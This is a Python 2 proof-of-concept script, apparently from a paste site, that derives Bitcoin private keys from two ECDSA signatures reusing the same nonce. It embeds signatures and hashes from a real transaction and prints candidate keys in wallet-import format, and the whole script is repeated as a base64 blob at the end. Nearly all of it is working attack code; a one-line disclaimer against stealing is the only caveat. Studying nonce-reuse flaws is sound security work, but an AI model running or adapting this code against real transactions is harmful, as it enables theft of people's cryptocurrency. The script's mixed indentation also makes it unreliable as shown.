#!/usr/bin/env python
#
# Proof of concept of bitcoin private key recovery using weak ECDSA signatures
#
# Based on http://w...content-available-to-author-only...r.net/2013/01/28/recovering-bitcoin-private-keys.html
# Regarding Bitcoin Tx https://b...content-available-to-author-only...n.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1.
# As it's said in the previous article you need to poke around into the OP_CHECKSIG function in order to get z1 and z2,
# in other hand for every other parameters you should be able to get them from the Tx itself.
#
# Author Dario Clavijo <dclavijo@protonmail.com> , Jan 2013
# Donations: 1LgWNdNTnzeNgNMzWHtPtXPjxcutJKu74r
#
# This code is licensed under the terms of the GPLv3 license http://g...content-available-to-author-only...f.org/
#
# Disclaimer: Do not steal other peoples money, that's bad.
 
 
import hashlib
 
p  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
#r  = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
#s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
#s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
 
# r1 and s1 are contained in this ECDSA signature encoded in DER (openssl default).
der_sig1 = "30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01"
 
# the same thing with the above line.
der_sig2 = "30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01"
 
params = {'p':p,'sig1':der_sig1,'sig2':der_sig2,'z1':z1,'z2':z2}
 
def hexify (s, flip=False):
    if flip:
        return s[::-1].encode ('hex')
    else:
        return s.encode ('hex')
 
def unhexify (s, flip=False):
    if flip:
        return s.decode ('hex')[::-1]
    else:
        return s.decode ('hex')
 
def inttohexstr(i):
	tmpstr = hex(i)
	hexstr = tmpstr.replace('0x','').replace('L','').zfill(64)
	return hexstr
 
b58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
 
def dhash(s):
    return hashlib.sha256(hashlib.sha256(s).digest()).digest()
 
def rhash(s):
    h1 = hashlib.new('ripemd160')
    h1.update(hashlib.sha256(s).digest())
    return h1.digest()
 
def base58_encode(n):
    l = []
    while n > 0:
        n, r = divmod(n, 58)
        l.insert(0,(b58_digits[r]))
    return ''.join(l)
 
def base58_encode_padded(s):
    res = base58_encode(int('0x' + s.encode('hex'), 16))
    pad = 0
    for c in s:
        if c == chr(0):
            pad += 1
        else:
            break
    return b58_digits[0] * pad + res
 
def base58_check_encode(s, version=0):
    vs = chr(version) + s
    check = dhash(vs)[:4]
    return base58_encode_padded(vs + check)
 
def get_der_field(i,binary):
        if (ord(binary[i]) == 02):
                length = binary[i+1]
                end = i + ord(length) + 2
                string = binary[i+2:end]
                return string
        else:
                return None
 
# Here we decode a DER encoded string separating r and s
def der_decode(hexstring):
        binary = unhexify(hexstring)
        full_length = ord(binary[1])
        if ((full_length + 3) == len(binary)):
                r = get_der_field(2,binary)
                s = get_der_field(len(r)+4,binary)
                return r,s
        else:
                return None
 
def show_results(privkeys):
		print "Posible Candidates..."
		for privkey in privkeys:
        		hexprivkey = inttohexstr(privkey)
			print "intPrivkey = %d"  % privkey
			print "hexPrivkey = %s" % hexprivkey
			print "bitcoin Privkey (WIF) = %s" % base58_check_encode(hexprivkey.decode('hex'),version=128)
			print "bitcoin Privkey (WIF compressed) = %s" % base58_check_encode((hexprivkey + "01").decode('hex'),version=128)
 
 
def show_params(params):
	for param in params:
		try:
			print "%s: %s" % (param,inttohexstr(params[param]))
		except:
			print "%s: %s" % (param,params[param])
 
# This is the same as (a/b mod p) but avoiding floating numbers since we are dealing with prime numbers and modulus
# and beacuse this the python built in division isn't suitable for our needs,
# it returns floating point numbers rounded and we don't want them.
def inverse_mult(a,b,p):
	y =  (a * pow(b,p-2,p))  #(pow(a, b) modulo p) where p should be a prime number
	return y
 
# Here is the wrock!
def derivate_privkey(p,r,s1,s2,z1,z2):
 
	privkeys = []
 
	privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(s1-s2)),p) % int(p)))
	privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(s1+s2)),p) % int(p)))
	privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(-s1-s2)),p) % int(p)))
	privkeys.append((inverse_mult(((z1*s2) - (z2*s1)),(r*(-s1+s2)),p) % int(p)))
 
	privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(s1-s2)),p) % int(p)))
        privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(s1+s2)),p) % int(p)))
        privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(-s1-s2)),p) % int(p)))
        privkeys.append((inverse_mult(((z1*s2) + (z2*s1)),(r*(-s1+s2)),p) % int(p)))
 
	return privkeys
 
def process_signatures(params):
 
	p = params['p']
	sig1 = params['sig1']
	sig2 = params['sig2']
	z1 = params['z1']
	z2 = params['z2']
 
	tmp_r1,tmp_s1 = der_decode(sig1) # Here we extract r and s from the signature encoded in DER.
	tmp_r2,tmp_s2 = der_decode(sig2) # Idem.
 
	# the key of ECDSA are the integer numbers thats why we convert hexa from to them.
	r1 = int(tmp_r1.encode('hex'),16)
	r2 = int(tmp_r2.encode('hex'),16)
	s1 = int(tmp_s1.encode('hex'),16)
	s2 = int(tmp_s2.encode('hex'),16)
 
	if (r1 == r2): # If r1 and r2 are equal the two signatures are weak and we can recover the private key.
 		if (s1 != s2): # This: (s1-s2)>0 should be complied in order be able to compute the private key.
			privkey = derivate_privkey(p,r1,s1,s2,z1,z2)
			return privkey
		else:
			raise Exception("Privkey not computable: s1 and s2 are equal.")
	else:
		raise Exception("Privkey not computable: r1 and r2 are not equal.")
 
def main():
	show_params(params)
	privkey = process_signatures(params)
	if len(privkey)>0:
		show_results(privkey)
 
if __name__ == "__main__":
    main()# your code goes here

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMKIyBQcm9vZiBvZiBjb25jZXB0IG9mIGJpdGNvaW4gcHJpdmF0ZSBrZXkgcmVjb3ZlcnkgdXNpbmcgd2VhayBFQ0RTQSBzaWduYXR1cmVzCiMKIyBCYXNlZCBvbiBodHRwOi8vdy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uci5uZXQvMjAxMy8wMS8yOC9yZWNvdmVyaW5nLWJpdGNvaW4tcHJpdmF0ZS1rZXlzLmh0bWwKIyBSZWdhcmRpbmcgQml0Y29pbiBUeCBodHRwczovL2IuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm4uaW5mby90eC85ZWM0YmM0OWU4MjhkOTI0YWYxZDEwMjljYWNmNzA5NDMxYWJiZGU0NmQ1OTU1NGI2MmJjMjcwZTNiMjljNGIxLgojIEFzIGl0J3Mgc2FpZCBpbiB0aGUgcHJldmlvdXMgYXJ0aWNsZSB5b3UgbmVlZCB0byBwb2tlIGFyb3VuZCBpbnRvIHRoZSBPUF9DSEVDS1NJRyBmdW5jdGlvbiBpbiBvcmRlciB0byBnZXQgejEgYW5kIHoyLAojIGluIG90aGVyIGhhbmQgZm9yIGV2ZXJ5IG90aGVyIHBhcmFtZXRlcnMgeW91IHNob3VsZCBiZSBhYmxlIHRvIGdldCB0aGVtIGZyb20gdGhlIFR4IGl0c2VsZi4KIwojIEF1dGhvciBEYXJpbyBDbGF2aWpvIDxkY2xhdmlqb0Bwcm90b25tYWlsLmNvbT4gLCBKYW4gMjAxMwojIERvbmF0aW9uczogMUxnV05kTlRuemVOZ05NeldIdFB0WFBqeGN1dEpLdTc0cgojCiMgVGhpcyBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR1BMdjMgbGljZW5zZSBodHRwOi8vZy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uZi5vcmcvCiMKIyBEaXNjbGFpbWVyOiBEbyBub3Qgc3RlYWwgb3RoZXIgcGVvcGxlcyBtb25leSwgdGhhdCdzIGJhZC4KCgppbXBvcnQgaGFzaGxpYgoKcCAgPSAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEKI3IgID0gMHhkNDdjZTRjMDI1YzM1ZWM0NDBiYzgxZDk5ODM0YTYyNDg3NTE2MWEyNmJmNTZlZjdmZGMwZjVkNTJmODQzYWQxCiNzMSA9IDB4NDRlMWZmMmRmZDgxMDJjZjdhNDdjMjFkNWM5ZmQ1NzAxNjEwZDA0OTUzYzY4MzY1OTZiNGZlOWRkMmY1M2UzZQojczIgPSAweDlhNWYxYzc1ZTQ2MWQ3Y2ViMWNmM2NhYjkwMTNlYjJkYzg1YjZkMGRhOGMzYzZlMjdlM2E1YTViM2ZhYTViYWIKejEgPSAweGMwZTJkMGE4OWEzNDhkZTg4ZmRhMDgyMTFjNzBkMWQ3ZTUyY2NlZjJlYjk0NTk5MTFiZjk3N2Q1ODc3ODRjNmUKejIgPSAweDE3YjBmNDFjOGMzMzdhYzFlMThjOTg3NTllODNhOGNjY2JjMzY4ZGQ5ZDg5ZTVmMDNjYjYzM2MyNjVmZDBkZGMKCiMgcjEgYW5kIHMxIGFyZSBjb250YWluZWQgaW4gdGhpcyBFQ0RTQSBzaWduYXR1cmUgZW5jb2RlZCBpbiBERVIgKG9wZW5zc2wgZGVmYXVsdCkuCmRlcl9zaWcxID0gIjMwNDQwMjIwZDQ3Y2U0YzAyNWMzNWVjNDQwYmM4MWQ5OTgzNGE2MjQ4NzUxNjFhMjZiZjU2ZWY3ZmRjMGY1ZDUyZjg0M2FkMTAyMjA0NGUxZmYyZGZkODEwMmNmN2E0N2MyMWQ1YzlmZDU3MDE2MTBkMDQ5NTNjNjgzNjU5NmI0ZmU5ZGQyZjUzZTNlMDEiCgojIHRoZSBzYW1lIHRoaW5nIHdpdGggdGhlIGFib3ZlIGxpbmUuCmRlcl9zaWcyID0gIjMwNDQwMjIwZDQ3Y2U0YzAyNWMzNWVjNDQwYmM4MWQ5OTgzNGE2MjQ4NzUxNjFhMjZiZjU2ZWY3ZmRjMGY1ZDUyZjg0M2FkMTAyMjA5YTVmMWM3NWU0NjFkN2NlYjFjZjNjYWI5MDEzZWIyZGM4NWI2ZDBkYThjM2M2ZTI3ZTNhNWE1YjNmYWE1YmFiMDEiCgpwYXJhbXMgPSB7J3AnOnAsJ3NpZzEnOmRlcl9zaWcxLCdzaWcyJzpkZXJfc2lnMiwnejEnOnoxLCd6Mic6ejJ9CgpkZWYgaGV4aWZ5IChzLCBmbGlwPUZhbHNlKToKICAgIGlmIGZsaXA6CiAgICAgICAgcmV0dXJuIHNbOjotMV0uZW5jb2RlICgnaGV4JykKICAgIGVsc2U6CiAgICAgICAgcmV0dXJuIHMuZW5jb2RlICgnaGV4JykKCmRlZiB1bmhleGlmeSAocywgZmxpcD1GYWxzZSk6CiAgICBpZiBmbGlwOgogICAgICAgIHJldHVybiBzLmRlY29kZSAoJ2hleCcpWzo6LTFdCiAgICBlbHNlOgogICAgICAgIHJldHVybiBzLmRlY29kZSAoJ2hleCcpCgpkZWYgaW50dG9oZXhzdHIoaSk6Cgl0bXBzdHIgPSBoZXgoaSkKCWhleHN0ciA9IHRtcHN0ci5yZXBsYWNlKCcweCcsJycpLnJlcGxhY2UoJ0wnLCcnKS56ZmlsbCg2NCkKCXJldHVybiBoZXhzdHIKCmI1OF9kaWdpdHMgPSAnMTIzNDU2Nzg5QUJDREVGR0hKS0xNTlBRUlNUVVZXWFlaYWJjZGVmZ2hpamttbm9wcXJzdHV2d3h5eicKCmRlZiBkaGFzaChzKToKICAgIHJldHVybiBoYXNobGliLnNoYTI1NihoYXNobGliLnNoYTI1NihzKS5kaWdlc3QoKSkuZGlnZXN0KCkKCmRlZiByaGFzaChzKToKICAgIGgxID0gaGFzaGxpYi5uZXcoJ3JpcGVtZDE2MCcpCiAgICBoMS51cGRhdGUoaGFzaGxpYi5zaGEyNTYocykuZGlnZXN0KCkpCiAgICByZXR1cm4gaDEuZGlnZXN0KCkKCmRlZiBiYXNlNThfZW5jb2RlKG4pOgogICAgbCA9IFtdCiAgICB3aGlsZSBuID4gMDoKICAgICAgICBuLCByID0gZGl2bW9kKG4sIDU4KQogICAgICAgIGwuaW5zZXJ0KDAsKGI1OF9kaWdpdHNbcl0pKQogICAgcmV0dXJuICcnLmpvaW4obCkKCmRlZiBiYXNlNThfZW5jb2RlX3BhZGRlZChzKToKICAgIHJlcyA9IGJhc2U1OF9lbmNvZGUoaW50KCcweCcgKyBzLmVuY29kZSgnaGV4JyksIDE2KSkKICAgIHBhZCA9IDAKICAgIGZvciBjIGluIHM6CiAgICAgICAgaWYgYyA9PSBjaHIoMCk6CiAgICAgICAgICAgIHBhZCArPSAxCiAgICAgICAgZWxzZToKICAgICAgICAgICAgYnJlYWsKICAgIHJldHVybiBiNThfZGlnaXRzWzBdICogcGFkICsgcmVzCgpkZWYgYmFzZTU4X2NoZWNrX2VuY29kZShzLCB2ZXJzaW9uPTApOgogICAgdnMgPSBjaHIodmVyc2lvbikgKyBzCiAgICBjaGVjayA9IGRoYXNoKHZzKVs6NF0KICAgIHJldHVybiBiYXNlNThfZW5jb2RlX3BhZGRlZCh2cyArIGNoZWNrKQoKZGVmIGdldF9kZXJfZmllbGQoaSxiaW5hcnkpOgogICAgICAgIGlmIChvcmQoYmluYXJ5W2ldKSA9PSAwMik6CiAgICAgICAgICAgICAgICBsZW5ndGggPSBiaW5hcnlbaSsxXQogICAgICAgICAgICAgICAgZW5kID0gaSArIG9yZChsZW5ndGgpICsgMgogICAgICAgICAgICAgICAgc3RyaW5nID0gYmluYXJ5W2krMjplbmRdCiAgICAgICAgICAgICAgICByZXR1cm4gc3RyaW5nCiAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBOb25lCgojIEhlcmUgd2UgZGVjb2RlIGEgREVSIGVuY29kZWQgc3RyaW5nIHNlcGFyYXRpbmcgciBhbmQgcwpkZWYgZGVyX2RlY29kZShoZXhzdHJpbmcpOgogICAgICAgIGJpbmFyeSA9IHVuaGV4aWZ5KGhleHN0cmluZykKICAgICAgICBmdWxsX2xlbmd0aCA9IG9yZChiaW5hcnlbMV0pCiAgICAgICAgaWYgKChmdWxsX2xlbmd0aCArIDMpID09IGxlbihiaW5hcnkpKToKICAgICAgICAgICAgICAgIHIgPSBnZXRfZGVyX2ZpZWxkKDIsYmluYXJ5KQogICAgICAgICAgICAgICAgcyA9IGdldF9kZXJfZmllbGQobGVuKHIpKzQsYmluYXJ5KQogICAgICAgICAgICAgICAgcmV0dXJuIHIscwogICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICByZXR1cm4gTm9uZQoKZGVmIHNob3dfcmVzdWx0cyhwcml2a2V5cyk6CgkJcHJpbnQgIlBvc2libGUgQ2FuZGlkYXRlcy4uLiIKCQlmb3IgcHJpdmtleSBpbiBwcml2a2V5czoKICAgICAgICAJCWhleHByaXZrZXkgPSBpbnR0b2hleHN0cihwcml2a2V5KQoJCQlwcmludCAiaW50UHJpdmtleSA9ICVkIiAgJSBwcml2a2V5CgkJCXByaW50ICJoZXhQcml2a2V5ID0gJXMiICUgaGV4cHJpdmtleQoJCQlwcmludCAiYml0Y29pbiBQcml2a2V5IChXSUYpID0gJXMiICUgYmFzZTU4X2NoZWNrX2VuY29kZShoZXhwcml2a2V5LmRlY29kZSgnaGV4JyksdmVyc2lvbj0xMjgpCgkJCXByaW50ICJiaXRjb2luIFByaXZrZXkgKFdJRiBjb21wcmVzc2VkKSA9ICVzIiAlIGJhc2U1OF9jaGVja19lbmNvZGUoKGhleHByaXZrZXkgKyAiMDEiKS5kZWNvZGUoJ2hleCcpLHZlcnNpb249MTI4KQoKCmRlZiBzaG93X3BhcmFtcyhwYXJhbXMpOgoJZm9yIHBhcmFtIGluIHBhcmFtczoKCQl0cnk6CgkJCXByaW50ICIlczogJXMiICUgKHBhcmFtLGludHRvaGV4c3RyKHBhcmFtc1twYXJhbV0pKQoJCWV4Y2VwdDoKCQkJcHJpbnQgIiVzOiAlcyIgJSAocGFyYW0scGFyYW1zW3BhcmFtXSkKCiMgVGhpcyBpcyB0aGUgc2FtZSBhcyAoYS9iIG1vZCBwKSBidXQgYXZvaWRpbmcgZmxvYXRpbmcgbnVtYmVycyBzaW5jZSB3ZSBhcmUgZGVhbGluZyB3aXRoIHByaW1lIG51bWJlcnMgYW5kIG1vZHVsdXMKIyBhbmQgYmVhY3VzZSB0aGlzIHRoZSBweXRob24gYnVpbHQgaW4gZGl2aXNpb24gaXNuJ3Qgc3VpdGFibGUgZm9yIG91ciBuZWVkcywKIyBpdCByZXR1cm5zIGZsb2F0aW5nIHBvaW50IG51bWJlcnMgcm91bmRlZCBhbmQgd2UgZG9uJ3Qgd2FudCB0aGVtLgpkZWYgaW52ZXJzZV9tdWx0KGEsYixwKToKCXkgPSAgKGEgKiBwb3coYixwLTIscCkpICAjKHBvdyhhLCBiKSBtb2R1bG8gcCkgd2hlcmUgcCBzaG91bGQgYmUgYSBwcmltZSBudW1iZXIKCXJldHVybiB5CgojIEhlcmUgaXMgdGhlIHdyb2NrIQpkZWYgZGVyaXZhdGVfcHJpdmtleShwLHIsczEsczIsejEsejIpOgoKCXByaXZrZXlzID0gW10KCglwcml2a2V5cy5hcHBlbmQoKGludmVyc2VfbXVsdCgoKHoxKnMyKSAtICh6MipzMSkpLChyKihzMS1zMikpLHApICUgaW50KHApKSkKCXByaXZrZXlzLmFwcGVuZCgoaW52ZXJzZV9tdWx0KCgoejEqczIpIC0gKHoyKnMxKSksKHIqKHMxK3MyKSkscCkgJSBpbnQocCkpKQoJcHJpdmtleXMuYXBwZW5kKChpbnZlcnNlX211bHQoKCh6MSpzMikgLSAoejIqczEpKSwociooLXMxLXMyKSkscCkgJSBpbnQocCkpKQoJcHJpdmtleXMuYXBwZW5kKChpbnZlcnNlX211bHQoKCh6MSpzMikgLSAoejIqczEpKSwociooLXMxK3MyKSkscCkgJSBpbnQocCkpKQoKCXByaXZrZXlzLmFwcGVuZCgoaW52ZXJzZV9tdWx0KCgoejEqczIpICsgKHoyKnMxKSksKHIqKHMxLXMyKSkscCkgJSBpbnQocCkpKQogICAgICAgIHByaXZrZXlzLmFwcGVuZCgoaW52ZXJzZV9tdWx0KCgoejEqczIpICsgKHoyKnMxKSksKHIqKHMxK3MyKSkscCkgJSBpbnQocCkpKQogICAgICAgIHByaXZrZXlzLmFwcGVuZCgoaW52ZXJzZV9tdWx0KCgoejEqczIpICsgKHoyKnMxKSksKHIqKC1zMS1zMikpLHApICUgaW50KHApKSkKICAgICAgICBwcml2a2V5cy5hcHBlbmQoKGludmVyc2VfbXVsdCgoKHoxKnMyKSArICh6MipzMSkpLChyKigtczErczIpKSxwKSAlIGludChwKSkpCgoJcmV0dXJuIHByaXZrZXlzCgpkZWYgcHJvY2Vzc19zaWduYXR1cmVzKHBhcmFtcyk6CgoJcCA9IHBhcmFtc1sncCddCglzaWcxID0gcGFyYW1zWydzaWcxJ10KCXNpZzIgPSBwYXJhbXNbJ3NpZzInXQoJejEgPSBwYXJhbXNbJ3oxJ10KCXoyID0gcGFyYW1zWyd6MiddCgoJdG1wX3IxLHRtcF9zMSA9IGRlcl9kZWNvZGUoc2lnMSkgIyBIZXJlIHdlIGV4dHJhY3QgciBhbmQgcyBmcm9tIHRoZSBzaWduYXR1cmUgZW5jb2RlZCBpbiBERVIuCgl0bXBfcjIsdG1wX3MyID0gZGVyX2RlY29kZShzaWcyKSAjIElkZW0uCgoJIyB0aGUga2V5IG9mIEVDRFNBIGFyZSB0aGUgaW50ZWdlciBudW1iZXJzIHRoYXRzIHdoeSB3ZSBjb252ZXJ0IGhleGEgZnJvbSB0byB0aGVtLgoJcjEgPSBpbnQodG1wX3IxLmVuY29kZSgnaGV4JyksMTYpCglyMiA9IGludCh0bXBfcjIuZW5jb2RlKCdoZXgnKSwxNikKCXMxID0gaW50KHRtcF9zMS5lbmNvZGUoJ2hleCcpLDE2KQoJczIgPSBpbnQodG1wX3MyLmVuY29kZSgnaGV4JyksMTYpCgoJaWYgKHIxID09IHIyKTogIyBJZiByMSBhbmQgcjIgYXJlIGVxdWFsIHRoZSB0d28gc2lnbmF0dXJlcyBhcmUgd2VhayBhbmQgd2UgY2FuIHJlY292ZXIgdGhlIHByaXZhdGUga2V5LgogCQlpZiAoczEgIT0gczIpOiAjIFRoaXM6IChzMS1zMik+MCBzaG91bGQgYmUgY29tcGxpZWQgaW4gb3JkZXIgYmUgYWJsZSB0byBjb21wdXRlIHRoZSBwcml2YXRlIGtleS4KCQkJcHJpdmtleSA9IGRlcml2YXRlX3ByaXZrZXkocCxyMSxzMSxzMix6MSx6MikKCQkJcmV0dXJuIHByaXZrZXkKCQllbHNlOgoJCQlyYWlzZSBFeGNlcHRpb24oIlByaXZrZXkgbm90IGNvbXB1dGFibGU6IHMxIGFuZCBzMiBhcmUgZXF1YWwuIikKCWVsc2U6CgkJcmFpc2UgRXhjZXB0aW9uKCJQcml2a2V5IG5vdCBjb21wdXRhYmxlOiByMSBhbmQgcjIgYXJlIG5vdCBlcXVhbC4iKQoKZGVmIG1haW4oKToKCXNob3dfcGFyYW1zKHBhcmFtcykKCXByaXZrZXkgPSBwcm9jZXNzX3NpZ25hdHVyZXMocGFyYW1zKQoJaWYgbGVuKHByaXZrZXkpPjA6CgkJc2hvd19yZXN1bHRzKHByaXZrZXkpCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpIyB5b3VyIGNvZGUgZ29lcyBoZXJl